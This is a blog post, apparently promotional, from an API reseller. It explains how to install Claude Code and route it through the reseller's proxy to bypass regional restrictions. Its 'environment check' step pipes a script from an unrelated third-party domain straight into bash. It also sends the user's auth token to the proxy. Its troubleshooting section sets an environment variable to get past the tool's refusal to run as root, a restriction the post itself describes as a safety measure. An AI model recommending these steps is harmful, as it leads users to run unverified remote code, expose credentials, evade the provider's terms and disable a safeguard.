← Back to Blog

Claude Code Installation Guide (macOS/Linux)

Install and configure Claude Code in 5 minutes using the official npm package. Learn how to bypass regional restrictions by pointing the API to APIBox.

One: Overview

Installing Claude Code on macOS or Linux is straightforward. By using the official npm package and simply changing the API base URL via environment variables, you can connect directly to Claude through APIBox. This bypasses regional restrictions and costs roughly 1/7 of official Anthropic rates.

Two: Installation Steps

1. Open Your Terminal

  • macOS: Press Cmd + Space, search for “Terminal”, and open it.
  • Linux: Open your default terminal emulator.

2. Run the Environment Check

Ensure Node.js and npm are installed correctly:

curl -fsSL https://api.17nas.com/env_deploy/env-install.sh | bash

3. Uninstall Old Versions (Optional)

If you’ve previously installed Claude Code, remove the old version to avoid conflicts:

npm uninstall -g @anthropic-ai/claude-code

4. Install Claude Code

Install the latest official release via npm:

npm install -g @anthropic-ai/claude-code

5. Configure API Keys

Go to the APIBox Console to create your API Key.

Then, add these environment variables to your terminal profile (e.g., ~/.zshrc or ~/.bashrc):

echo 'export ANTHROPIC_BASE_URL="https://api.apibox.cc/v1"' >> ~/.zshrc
echo 'export ANTHROPIC_AUTH_TOKEN="your_APIBox_Key"' >> ~/.zshrc
source ~/.zshrc

Important: You must use ANTHROPIC_AUTH_TOKEN. Using API_KEY will trigger a browser login prompt.

6. Verify Installation

Run the tool:

claude

If you see the terminal chat interface without any browser popups, the setup is successful!

Three: Troubleshooting

❌ It opens a browser login window

Cause: The environment variable name is wrong or not loaded. Fix: Ensure you used ANTHROPIC_AUTH_TOKEN and ran source ~/.zshrc after saving.

❌ Error: cannot be used with root/sudo

Cause: You are running the terminal as root, which Claude Code restricts for safety. Fix: Run this command:

echo 'export CLAUDE_CODE_BUBBLEWRAP=1' >> ~/.bashrc
source ~/.bashrc

❌ Sudden crashes or H.startsWith error

Cause: NPM cache conflicts or version bugs. Fix: Reinstall cleanly:

npm -g uninstall @anthropic-ai/claude-code
npm install -g @anthropic-ai/claude-code

Try it now, add support after registration and send your account ID to claim ¥10 trial credit

Sign up free →